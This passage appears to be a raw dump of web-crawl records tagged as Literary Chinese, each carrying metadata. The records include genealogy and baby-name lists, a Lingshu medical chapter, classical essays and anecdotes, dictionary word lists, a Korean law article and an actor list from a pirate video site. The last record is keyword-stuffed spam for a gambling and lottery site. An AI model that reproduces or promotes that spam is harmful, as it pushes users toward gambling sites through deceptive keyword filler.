德欣 林昌 盛昌 景昌 天倚 永谊 世翠 其昌 世珍 德望 凤昌 永瑛 世芝 德运 龙昌 文昌 世兰 德琛 元昌 永修 世道 德连 尊昌 其昌 永典 世庆 德平 元昌 世俊 德胜 宜昌 世龙 德裕 嗣昌 元昌 国傑 全仁 天郡 永茂 世登 德茂 世英 德清 世亨 德维 德大 德才 德兰 淑若 国相 宗仁 天方 永欣 世爱 德金 德传 德银 德存 天位 永志 世美 世公 国梧 党仁 天付 永平 世臣 德全 世德 德亨 鉁 鍾 浏览器不支持嵌入式框架,或被配置为不显示嵌入式框架。","id":"","dump":"CC-MAIN-2022-49","url":"http:\/\/ahhszqw.com\/b\/jiapu\/sxlist.asp?jpid=12","date":"2022-12-03T10:15:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710926.23\/warc\/CC-MAIN-20221203075717-20221203105717-00613.warc.gz","language":"lzh","language_score":0.8982163072,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.8982163071632385, \"nan_Hani_score\": 0.05753936991095543, \"cmn_Hani_score\": 0.04321799427270889}","num_words":135,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.307,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.916,"perplexity_score":500.0,"cluster_detection":1} +{"text":"霊枢・32平人絶穀\n黄帝曰、願聞人之不食、七日而死何也。伯高曰、臣請言其故。胃大一尺五寸、径五寸、長二尺六寸、横屈、受水穀三斗五升、其中之穀常留二斗、水一斗五升而満。上焦泄気、出其精微、慓悍滑疾。下焦下漑諸腸。小腸大二寸半、径八分分之少半、長三丈二尺、受穀二斗四升、水六升三合合之大半。廻腸大四寸、径一寸寸之少半、長二丈一尺、受穀一斗、水七升半。広腸大八寸、径二寸寸之大半、長二尺八寸、受穀九升三合八分合之一。腸胃之長、凡五丈八尺四寸、受水穀九斗二升一合合之大半、此腸胃所受水穀之数也。平人則不然、胃満則腸虚、腸満則胃虚。更虚更満。故気得上下、五蔵安定、血脈和利、精神乃居。故神者、水穀之精気也。故腸胃之中、常留穀二斗、水一斗五升。故平人日再後。後二升半、一日中五升、七日五七三斗五升、而留水穀尽矣。故平人不食飲七日而死者、水穀精気津液皆尽故也。","id":"","dump":"CC-MAIN-2024-10","url":"http:\/\/www.yakuzenjoho.net\/data\/reisu\/32heijinzekkoku.html","date":"2024-02-22T05:26:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947473690.28\/warc\/CC-MAIN-20240222030017-20240222060017-00362.warc.gz","language":"lzh","language_score":0.3934863508,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.393486350774765, \"cmn_Hani_score\": 0.2352304607629776, \"zxx_Latn_score\": 0.03979501873254776, \"jpn_Jpan_score\": 0.030173424631357193, \"yue_Hani_score\": 0.028805237263441086, \"und_Tang_score\": 0.026078766211867332, \"und_Xsux_score\": 0.022115295752882957, \"nan_Hani_score\": 0.020315824076533318, \"und_Egyp_score\": 0.01873711124062538, \"wuu_Hani_score\": 0.014930046163499355, \"und_Cans_score\": 0.01376571785658598, \"und_Sgnw_score\": 0.012537810020148754}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.393,"perplexity_score":500.0,"cluster_detection":1} +{"text":"經部三十 春秋類存目一\n春秋義 三十卷\n江蘇周厚堉家藏本\n明顧懋樊撰。懋樊有桂林點易丹。已著錄。是書朱彝尊經義考云未見。前有懋樊自序。稱以胡傳爲宗。參之左氏公穀三家。佐以諸儒之說。今觀其書。直敷衍胡傳。爲舉業計耳。未嘗訂正以三傳。亦未訂正以諸儒之說也。","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0061401.html","date":"2018-10-19T17:13:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512421.5\/warc\/CC-MAIN-20181019170918-20181019192418-00306.warc.gz","language":"lzh","language_score":0.4231675565,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.42316755652427673, \"cmn_Hani_score\": 0.3208606541156769, \"jpn_Jpan_score\": 0.09121779352426529, \"yue_Hani_score\": 0.03684420883655548, \"wuu_Hani_score\": 0.03186902403831482, \"nan_Hani_score\": 0.01845998503267765, \"zxx_Latn_score\": 0.011080555617809296}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.423,"perplexity_score":500.0,"cluster_detection":1} +{"text":"田忌亡齊而之楚\n田忌亡齊而之楚,鄒忌代之相齊。恐田忌欲以楚權復于齊,杜赫曰:「臣請為留楚。」\n謂楚王曰:「鄒忌所以不善楚者,恐田忌之以楚權復于齊也。王不如封田忌于江南,以示田忌之不返齊也,鄒忌以齊厚事楚。田忌亡人也,而得封,必德王。若復于齊,必以齊事楚。此用二忌之道也。」楚果封之于江南。","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/xn--5rtnx620bw5s.tw\/a2\/a202\/119.htm","date":"2019-02-22T03:15:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247512461.73\/warc\/CC-MAIN-20190222013546-20190222035546-00387.warc.gz","language":"lzh","language_score":0.7483889461,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.748388946056366, \"cmn_Hani_score\": 0.21305160224437714, \"wuu_Hani_score\": 0.013107797130942345, \"jpn_Jpan_score\": 0.012790932320058346}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.757,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n喻怡姿 喻子媛 喻子婷 喻韩红 喻世梅 喻千红 喻凌燕 喻烁妍 喻嘉莉 喻贵英 喻轲文 喻潇洁 喻培琼 喻得红 喻伟红 喻香婷 喻天梅 喻天冉 喻天芳 喻之娅 喻天莹 喻天颖 喻芝瑛 喻思娅 喻妍晶 喻昭瑶 喻妍锦 喻悦珊 喻件英 喻娜丹 喻筠琼 喻诗丽 喻思媛 喻娜云 喻开琼 喻露芳 喻婧婷 喻德红 喻巾芳 喻雅丽 喻红英 喻香颖 喻蔓婷 喻裴灵 喻世红 喻庆芳 喻露英 喻卫霞 喻雯瑶 喻美丽 喻丞琳 喻园丽 喻会琴 喻维娜 喻嫒媛 喻振芬 喻悦晨 喻本艳 喻贞媛 喻薇媛 喻祺琳 喻定霞 喻乐怡 喻艳红 喻得文 喻筱媛 喻春红 喻瑶仙 喻配玉 喻子琳 喻成芳 喻春丽 喻语文 喻婷雯 喻钦文 喻淑娟 喻全红 喻福琳 喻思萍 喻承文 喻海英 喻怀玉 喻泰文 喻惠丽 喻亚娜 喻正霞 喻娥 喻悦斩 喻浣秀 喻薪蓉 喻何英 喻伟文 喻自洁 喻眠琴 喻妙雪 喻名嫣 喻可悦 喻雨嫣 喻忠琴 喻焕秀 喻露莹 喻乐倩 喻怡乐 喻乐红 喻学梅 喻乐悦 喻乐梅 喻小琳 喻铃瑛 喻悦岚 喻婧怡 喻涵嫣 喻岳文 喻景萍 喻琳蕊 喻婧妃 喻文娟 喻琳岚 喻多玉 喻银玉 喻贵玉 喻宝玉 喻楠媛 喻琬琳 喻琛琳 喻靖琳 喻涵文 喻雪莉 喻庆文 喻兴怡 喻蓉芳 喻全芬 喻嫣 喻爱燕 喻美燕 喻文艳 喻银艳 喻和红 喻柳英 喻竹瑶 喻雪芬 喻子瑶 喻飞瑶 喻妍惠 喻嫣惠 喻英梅 喻文萍 喻雪燕 喻婷儿 喻胜芳 喻桂婷 喻钰婷 喻钰琳 喻紫妍 喻心妍 喻翠丽 喻利芳 喻成燕 喻敏玉 喻明玉 喻黄萍 喻志芳 喻遂萍 喻灿文 喻卓萍 喻方艳 喻露瑶 喻琳昕 喻琳忻 喻琳馨 喻琳歆 喻舒琳 喻琳欣 喻娅辉 喻娟辉 喻善文 喻莲芳 喻虹梅 喻一花 喻海花 喻雪霞 喻喜红 喻乐婷 喻娉婷 喻乐萍 喻乐琳 喻小萍 喻旭娟 喻心红 喻心玲 喻娅娟 喻贵梅 喻桂梅 喻宜琳 喻仪琳 喻冷琳 喻远琴 喻雯婷 喻婧芝 喻冰雪 喻映琳 喻玲铧 喻玲轶 喻可妍 喻卓妍 喻星玲 喻岑琳 喻萱琳 喻映玲 喻鲜红 喻满英 喻琳婷 喻琛茹 喻薇娜 喻倩倩 喻怡婕 喻瑾怡 喻小芳 喻婷渝 喻婷瑜 喻沛洁 喻敏妍 喻映红 喻育红 喻梨娟 喻黎娟 喻霞平 喻贵芳 喻立萍 喻冉 喻巧秀 喻秋丽 喻利梅 喻玲吾 喻力萍 喻凡倩 喻琪玲 喻志红 喻凤娥 喻林芳 喻怡婷 喻昭悦 喻芳丽 喻慧文 喻利文 喻永霞 喻正英 喻正萍 喻润红 喻俊文 喻生洁 喻诗瑶 喻小芬 喻贵玲 喻美红 喻小妍 喻淑英 喻莹 喻俐蓉 喻琴雯 喻怡冰 喻蓉蓉 喻美芬 喻瑛 喻圣洁 喻梦雪 喻小丽 喻熙悦 喻芮颖 喻娅娥 喻钊文 喻彬妍 喻妍彬 喻桂萍 喻小花 喻霞娟 喻月芳 喻丽娟 喻晓红 喻李琳 喻李婧 喻李莹 喻李瑶 喻李妍 喻李悦 喻李文 喻李玉 喻玲丽 喻薇洁 喻群英 喻晨萍 喻晨悦 喻寒芬 喻志娟 喻晨芬 喻晨妍 喻曼芬 喻曼玲 喻曼莉 喻晨芳","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/zg-zy.com\/show_A1A.aspx","date":"2019-03-26T00:30:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912204736.6\/warc\/CC-MAIN-20190325234449-20190326020449-00539.warc.gz","language":"lzh","language_score":0.4355610609,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.43556106090545654, \"cmn_Hani_score\": 0.3543919324874878, \"und_Cans_score\": 0.034306593239307404, \"nan_Hani_score\": 0.031880415976047516, \"jpn_Jpan_score\": 0.022903481498360634, \"wuu_Hani_score\": 0.01968732289969921, \"und_Xsux_score\": 0.015405835583806038, \"und_Lana_score\": 0.013396992348134518}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.428,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n羅仲謙 韋家雄 張曦雯 徐榮 張文慈 劉江 張秀文 黃子雄 秦啓維 湯俊明 方紹聰 司徒暉 盧峻峯 袁潔儀 趙樂賢 曾海昌 徐玟晴 吳珮如 尹詩沛 羅鴻 張詩欣\n高海寧 馬國明 黎諾懿 李家鼎 朱敏瀚 袁潔儀 楊卓娜 簡淑兒 李嘉 林漪娸 李璧琦 黃子雄 曾航生 楊瑞麟 梁珈詠 李啓傑 黃建東 鄭恕峯 秦啓維\n鄭則仕 鮑起靜 江美儀 鄧浩光 張文慈 甄志強 寶佩如 秦啓維\n楊明 高海寧 陳曉華 姜大衛 馬海倫 李成昌 莊思敏 黃祥興 容天佑 樓嘉豪 何啓南 朱敏瀚 於洋 董敬文 楊玉梅 陳狄克 蔡國威 李豪 關梓陽 吳嘉儀 彭翔翎 曾慧雲 劉桂芳 蘇麗明 黃梓瑋 尹詩沛 梁珈詠 陳俊堅 蔡康年 王俊棠 秦啓維 鄧以婷 容羨媛 譚偉權 馮奕森 葉蒨文 朱斐斐 周梓盈 陳嘉慧\n洪永城 黃心穎 湯洛雯 謝東閔 鄭子誠 潘志文 郭少芸 張慧儀 劉思希 於洋 陳婉婷 黎振燁 張美妮 馮素波 莊思明 王子涵 李霖恩 何豔娟 白雲 曾敏 吳珮如 周梓盈 陳靖雲 譚偉權 秦啓維 張漢斌 衛志豪 鄭詠謙 李海生 林敬剛 趙樂賢 楊證樺 曾健明 司徒暉 陳榮峻 盧峻峯 易智遠 方紹聰 謝可逸 黃耀煌 蕭凱欣 梁雯蔚 鄧英敏 黃建東 鄭恕峯 莫家淦 曾琬莎 李忠希 關浩揚\n蕭正楠 姚子羚 黃智賢 洪永城 何廣沛 張兆輝 姜大衛 吳岱融 陳瀅 曾航生 甄詠珊 梁舜燕 張達倫 李璧琦 文雪兒 秦煌 李楓 盧宛茵 馮素波 彭懷安 楊瑞麟 林韋辰 鄧永健 劉思希 李霖恩 古明華 魯振順 邵卓堯 莊思明 何綺雲 尹詩沛 吳沚默 李天縱 譚坤倫 葉蒨文 陳嘉慧 何遠東 張智軒 康華 劉芷希 崔錦棠 莫家淦 何佩珉 易智遠 黃建東 蔡國威 杜大偉 煒烈 秦啓維 鄧以婷 喬寶寶 黃柏文 歐陽偉豪 鄭詠謙 張本立 曾健明\n袁偉豪 唐詩詠 朱晨麗 胡鴻鈞 黃祥興 賴慰玲 林子善 張彥博 趙希洛 黃子雄 郭子豪 王歌慧 張國強 煒烈 鄭敬基 範文雅 沈可欣 顧冠忠 祝文君 李日升 方紹聰 李啓傑 邵卓堯 許家傑 關浩揚 衛志豪 鄭家生 姚浩政 莫家淦 尹詩沛 楊家寶 楊潮凱 崔錦棠 秦啓維 李楓 林淑敏 朱斐斐 曹思詩 林希靈 潘梓鋒 謝芷倫 黃愷怡 餘應彤 李海生 陳勉良 彭紀諺 容羨媛 周麗欣 丘梓謙 李漫芬 劉溫馨 陳婉衡 陳靖雲 沈愛琳 莫偉文 徐玟晴 周梓盈 關偉倫 趙樂賢 繆家慶 招浩明 余子明 楊證樺 魏惠文 鄧\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/nonovod.com\/search\/-%E7%A7%A6%E5%95%93%E7%B6%AD------------.html","date":"2020-10-20T12:23:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107872686.18\/warc\/CC-MAIN-20201020105000-20201020135000-00089.warc.gz","language":"lzh","language_score":0.816192925,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.8161929249763489, \"cmn_Hani_score\": 0.11286241561174393, \"nan_Hani_score\": 0.06563778966665268}","num_words":260,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.838,"perplexity_score":500.0,"cluster_detection":1} +{"text":"孔子之刪述六經,即伊尹、太公救民於水火之心,而今之注蟲魚、命草木者,皆不足以語此也。故曰:「載之空言,不如見諸行事。」夫《春秋》之作,言焉而已,而謂之行事者,天下後世用以治人之書,將欲謂之空言而不可也。愚不揣,有見於此,故凡文之不關於六經之指、當世之務者,一切不為。而既以明道救人,則於當今之所通患,而未嘗專指其人者,亦遂不敢以辟也。","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/zh.wikisource.org\/zh\/%E8%88%87%E4%BA%BA%E6%9B%B8%E4%B8%89","date":"2021-01-16T12:52:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703506640.22\/warc\/CC-MAIN-20210116104719-20210116134719-00476.warc.gz","language":"lzh","language_score":0.5247501135,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.5247501134872437, \"cmn_Hani_score\": 0.4434432089328766, \"wuu_Hani_score\": 0.013541526161134243, \"nan_Hani_score\": 0.01154782809317112}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.708,"perplexity_score":500.0,"cluster_detection":1} +{"text":"서얼론\nIntroduction\n다산 정약용이 서얼 차별의 불합리함을 비판한 글이다.\nOriginal Script\n庶孽論 (與猶堂全書, 文集 卷12)\n昔我英宗大王愍庶孼之枳塞。命選部選其有文藝者成大中等十人。授之臺諫之職。旣而進宰輔之臣而諭之曰。天至尊也。未嘗不呼天也。君至尊也。未嘗不稱君也。庶孼之不得父母其父母者。何以哉。謂嫡母羣臣語塞。莫敢覆難。旣而有退而語于朝堂之上者曰。乾稱父坤稱母。蒸民之所同也。有敢匹夫而稱天子者。六師移之。於是衆口和附。謂之名言。君子曰非禮也。是亦聖考之言爲正也。父稱父母稱母。人子之所同也。有敢庶子而稱宗子者。九族議之。不旣相準乎。奚竝父母而禁之乎。且父母不可禁也。書其系以爲䉳則父之。書其系以爲封彌則父之。書其系刊之爲榜目則父之。書其系藏于選部則父之。奚獨於閨門之內語言之間。而禁之使勿父也。且庶孼何枳哉。韓魏公其母靑州之婢妾也。范文正公從母嫁。冒繼父之姓。及入翰林而后。始上表復姓。使宋而倘枳。是兩人者。有能垂紳正笏。措國勢於泰山之安。而使西賊心膽寒者乎。邵康節先生昆弟三人。皆公叔木之所大功。而狄儀之所齊衰也。使宋之儒而輕康節以是也。皇極經世之書。何以得與於斯文哉。臺諫其小者也。必相而后可者也。","id":"","dump":"CC-MAIN-2021-04","url":"http:\/\/dh.aks.ac.kr\/Edu\/wiki\/index.php\/%EC%84%9C%EC%96%BC%EB%A1%A0","date":"2021-01-27T06:56:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610704821253.82\/warc\/CC-MAIN-20210127055122-20210127085122-00364.warc.gz","language":"lzh","language_score":0.4679580927,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.46795809268951416, \"cmn_Hani_score\": 0.2433129996061325, \"jpn_Jpan_score\": 0.06689925491809845, \"wuu_Hani_score\": 0.032412584871053696, \"zxx_Latn_score\": 0.030426859855651855, \"kor_Hang_score\": 0.028298595920205116, \"nan_Hani_score\": 0.013988105580210686, \"yue_Hani_score\": 0.012354317121207714}","num_words":16,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.475,"perplexity_score":500.0,"cluster_detection":1} +{"text":"辯證 辯解 辯論 辯白 辯護 辯駁 辯智 辯給 辯贍 辯難 辯正 辯析 辯武 辯別 辯數 辯說 辯士 辯才 辯誣 辯斗 辯識 辯明 辯詰 辯慧 辯辭 辯囿 辯言 辯惠 辯博 辯麗 辯譎 辯議 辯理 辯訴 辯爭 辯知 辯晳 辯晰 辯章 辯剖 辯治 辯捷 辯悟 辯義 辯察 辯惑 辯絜 辯雪 辯釋 辯舌 辯女 辯巧 辯事 辯學 辯嘴 辯俊 辯哥 辯人 辯驗 辯眼 辯通 辯佞 辯口 辯道 辯善 辯問 辯辯 辯法 辯對 辯暢 辯訂 辯利 辯客 辯灋 辯獻 辯富 辯照 辯略 辯類 辯折 辯黠 辯要 辯嘗 辯讞 辯雕 辯決 辯政 辯告 辯斷 辯訟 辯諮 辯畫 辯圃 辯省 辯詐 辯鋒 辯速 辯斥 辯列 辯達 辯答 辯據 辯覆 辯動 辯敏 辯逸 爭辯 分辯 逞辯 狡辯 詭辯 雄辯 思辯 強辯 申辯 答辯 明辯 服辯 才辯 論辯 質辯 和辯 七辯 博辯 九辯 置辯 抗辯 閎辯 伏辯 浮辯 聰辯 口辯 聲辯 騁辯 善辯 倡辯 機辯 折辯 清辯 鄒辯 駕辯 小辯 俊辯 華辯 智辯 宏辯 詰辯 廷辯 佞辯 偽辯 巧辯 詮辯 敏辯 詞辯 了辯 好辯 辭辯 靡辯 心辯 弘辯 激辯 舌辯 文辯 治辯 知辯 大辯 析辯 名辯 庭辯 饒辯 飛辯 無辯 證辯 豐辯 談辯 夸辯 斗辯 妙辯 遮辯 曲辯 瀉辯 研辯 條辯 馳辯 核辯 剖辯 資辯 飾辯 忮辯 材辯 辯辯 訴辯 解辯 詆辯 通辯 陳辯 訟辯 察辯 矯辯 御辯 剛辯 責辯 持辯 佹辯 諧辯 酬辯 警辯 龜辯 戶辯 該辯 筆辯 微辯 精辯 訊辯 展辯 識辯 訂辯 直辯 設辯 兇辯 英辯 逸辯 講辯 辯證邏輯 辯才無礙 辯口利辭 辯口利舌 辯才無閡 析辯詭辭 大辯若訥 不辯菽麥 雄辯高談 大辯不言 論辯風生 博聞辯言 覽聞辯見 不屑置辯 能言善辯 有口難辯 百口莫辯 衽席無辯 百喙莫辯 不容置辯 天人之辯 無庸置辯 無可爭辯 百辭莫辯 米鹽博辯 無可置辯 高談雄辯 記丑言辯 能言巧辯 百喙難辯www.545130.tw*??*?\n詞語信息\n詞語?駕辯?\n中釋為\"遭憂\"。王逸在《楚辭章句》中釋為\"別愁\"。后人多各從其一說。近世學者,則有人據《大招》\"伏戲《駕辯》。楚《勞商》只\"及王逸注\"《駕辯》《勞商》,皆曲\n拼音?jià?biàn 注音?ㄐㄧㄚˋ?ㄅㄧㄢˋ\n勸士諷敵。 可能之九:伏羲氏《駕辯曲》。伏羲氏有《駕辯曲》(《楚辭·王逸注》屈原《楚辭·大招》中寫到\"伏羲駕辯、楚勞商只\"漢王逸注:\"伏羲作瑟,造《駕辯》之曲\"\n引證解釋?古樂曲名。《楚辭·大招》:\"?伏戲?《駕辯》、?楚?《勞商》只。\"?王逸?注:\"《駕辯》、《勞商》,皆曲名也。\"《文選·左思<吳都賦>》:\"或超《延露》而《駕辯》,或踰《緑水》而《采菱》。\"?劉逵?注:\"《楚辭》曰:'?伏羲?《駕辯》。'?伏羲?作琴,始造此曲。\"\n伏羲作駕辯: 描寫的是一對夫妻兩個,一問一答,且言且行的場景,曲風輕快,充滿愛戀,只可惜我們今天所見的駕辯已經不是原本,而是故老相傳,加上民間藝人自行創造的版本。\" 屈\n駕馭 駕御 駕言 駕駛 駕鶴 駕肩 駕臨 駕到 駕崩 駕轅 駕空 駕部 駕帖 駕凌 駕驅 駕薨 駕鴻 駕云 駕車 駕浪 駕海 駕鵝 駕辯 駕乘 駕靈 駕軼 駕坐 駕龍 駕治 駕罪 駕誕 駕娘 駕鯉 駕說 駕鵲 駕天 駕跨 駕犁 駕頭 駕鼓 駕鳥 駕名 駕和 駕艇 駕士 駕被 駕禍 駕役 駕載 駕牌 駕犂 駕曹 駕鹽 駕服 駕長 駕俗 駕票 凌駕 稅駕 大駕 勞駕 尊駕 晏駕 車駕 命駕 枉駕 鶴駕 法駕 屈駕 臺駕 趣駕 方駕 鑾駕 駑駕 誑駕 御駕 擋駕 保駕 候駕 鳳駕 宴駕 接駕 驂駕 鸞駕 促駕 仙駕 護駕 扈駕 騰駕 高駕 勸駕 擺駕 龍駕 乘駕 圣駕 十駕 突駕 驪駕 起駕 絜駕 移駕 泛駕 儲駕 宸駕 酒駕 云駕 陵駕 總駕 覂駕 敗駕 救駕 輿駕 逸駕 并駕 迎駕 朝駕 驅駕 頒駕 息駕 嚴駕 歲駕 追駕 軒駕 頓駕 伴駕 尻駕 主駕 再駕 三駕 隨駕 螭駕 效駕 靈駕 安駕 參駕 從駕 秋駕 上駕 侍駕 星駕 辰駕 軺駕 邀駕 二駕 休駕 霄駕 羽駕 王駕 迅駕 鵲駕 麟駕 排駕 回駕 輕駕 籠駕 巡駕 月駕 儀駕 飛駕 憲駕 返駕 紆駕 騑駕 管駕 見駕 象駕 犪駕 降駕 煙駕 中駕 光駕 香駕 抬駕 飆駕 寶駕 解駕 俗駕 小駕 芝駕 放駕 皇駕 馴駕 軼駕 肅駕 鑣駕 就駕 連駕 鵠駕 檥駕 齊駕 駛駕 游駕 撐駕 駙駕 西駕 征駕 輜駕 神駕 旋駕 迂駕 官駕 釋駕 后駕 攔駕 控駕 飭駕 遠駕 偏駕 騶駕 赴駕 鴻駕 速駕 祖駕 進駕 轖駕 百駕 親駕 陰駕 整駕 脂駕 輟駕 虬駕 秘駕 司駕 停駕 晚駕 當駕 吉駕 還駕 轟駕 宮駕 金駕 構駕 道駕 重駕 老駕 送駕 駕輕就熟 駕鶴西游 駕肩接武 駕鶴成仙 駕肩接跡 駕頭雜劇 駕霧騰云 駕轊連軏 并駕齊驅 御駕親征 法駕導引 鵲駕銀河 長駕遠馭 燕駕越轂 鑾駕隊子 騰云駕霧 鞭長駕遠 駑馬十駕 千里命駕 東曦既駕 宮車晏駕 連鑣并駕 齊驅并駕 南艤北駕 鸞輿鳳駕 東野敗駕 齊趨并駕*www.545130.tw*?*?\n聲明:本網內容旨在傳播知識僅供參考,不代表本網贊同其觀點,文字及圖片版權歸原網站所有。","id":"","dump":"CC-MAIN-2021-10","url":"http:\/\/www.545130.tw\/b\/1719\/eu17199478.html","date":"2021-02-28T21:21:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178361776.13\/warc\/CC-MAIN-20210228205741-20210228235741-00457.warc.gz","language":"lzh","language_score":0.7887611389,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7887611389160156, \"nan_Hani_score\": 0.15925908088684082, \"cmn_Hani_score\": 0.03500465676188469, \"yue_Hani_score\": 0.014023046009242535}","num_words":529,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.323,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.806,"perplexity_score":500.0,"cluster_detection":1} +{"text":"第二百八十八條 祖父母·父母나 夫나 夫의 祖父母·父母 誣告 者 已決·未決과 輕重을 勿論고 絞며, 朞親以下 尊長에 第六十四條 親屬等級을 依야 所誣 罪에 遞加고, 卑幼 誣告 者 朞親에 所誣 罪에 三等이며 大功에 二等이며 小功·緦麻에 一等을 減고 袒免親은 不減이라.\n但 子孫이나 外孫이나 子孫의 妻妾이나 己의 妾이나 雇工을 誣告 者 幷히 勿論이라.\n夫가 妻 誣告거나 妻가 妾을 誣告 者 所誣 罪에 三等을 減고, 妾이 妻에게 一等을 加이라.","id":"","dump":"CC-MAIN-2021-43","url":"http:\/\/db.history.go.kr\/law\/item\/level.do?levelId=jlawb_190_0050_0030_0030_0050","date":"2021-10-16T05:00:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323583423.96\/warc\/CC-MAIN-20211016043926-20211016073926-00591.warc.gz","language":"lzh","language_score":0.6504266858,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.6504266858100891, \"cmn_Hani_score\": 0.297059565782547, \"jpn_Jpan_score\": 0.03935619443655014, \"kor_Hang_score\": 0.01037427969276905}","num_words":60,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.295,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":0.65,"perplexity_score":500.0,"cluster_detection":1} +{"text":"? 凯博注册最高返水朱俊州看向说了这么一句_人人中彩票太阳厅DS 凯博注册最高返水:全国各地百姓网 A 人人中彩票太阳厅DS 阿坝县 阿城 阿尔山 阿克苏 阿克苏市 阿拉尔 阿拉善 阿拉善右旗 阿拉善左旗 阿勒泰 阿勒泰市 阿里 安达 安福 安国 安化 安徽 安吉 安康 安龙 安陆 安宁 安平 安庆 安丘 安仁 鞍山 安顺 安图 安县 安乡 安溪 安阳 安阳县 安义 安远 安岳 敖汉旗 B 阿图什 巴东 白城 拜泉 白沙 白山 白水 柏乡 白银 巴马 保德 保定 宝丰 宝鸡 保靖 保康 宝清 保山 保亭 包头 宝应 巴彦 巴彦淖尔 巴音郭楞 巴中 霸州 北安 北川 北海 北流 北票 北镇 蚌埠 本溪 毕节 宾川 滨海 宾县 宾阳 滨州 博爱 博白 博尔塔拉 博乐 勃利 博罗 百色 泊头 博兴 亳州 C 苍南 苍山 苍梧 苍溪 沧县 沧州 曹县 岑溪 察哈尔右翼前旗 茶陵 长春 长岛 常德 昌都 昌都县 长葛 长海 昌吉 昌江 昌吉市 长乐 昌乐 昌黎 长岭 昌宁 常宁 长清 长沙 常山 常熟 长泰 长汀 昌图 长兴 昌邑 长垣 长治 常州 潮安 巢湖 朝阳 潮阳 潮州 成安 澄城 承德 成都 呈贡 城固 澄海 澄江 澄迈 成武 成县 辰溪 郴州 赤壁 赤峰 茌平 赤水 池州 崇礼 崇仁 崇信 崇阳 崇州 崇左 淳安 楚雄 楚雄市 滁州 慈利 慈溪 磁县 从化 D 大安 大城 大方 大丰 大关 大化 岱山 代县 达拉特旗 大理 大连 大理市 大荔 大名 丹巴 郸城 丹东 丹凤 砀山 当涂 当阳 丹江口 丹棱 丹徒 丹阳 儋州 道县 大埔 大庆 大石桥 大同 大洼 大悟 达县 大兴安岭 大新 大冶 大邑 大英 达州 大竹 德安 德保 德格 德宏 德化 德惠 德江 德令哈 登封 磴口 灯塔 邓州 德钦 德庆 德清 德兴 德阳 德州 电白 调兵山 定安 定边 定南 定陶 定西 定襄 定兴 定远 定州 迪庆 东阿 东方 东丰 东港 东莞 东光 东海 洞口 东辽 东明 东宁 东平 东胜 东台 洞头 东乡 东兴 东阳 东营 东源 东至 都安 都昌 都江堰 敦化 敦煌 多伦 独山 都匀 E 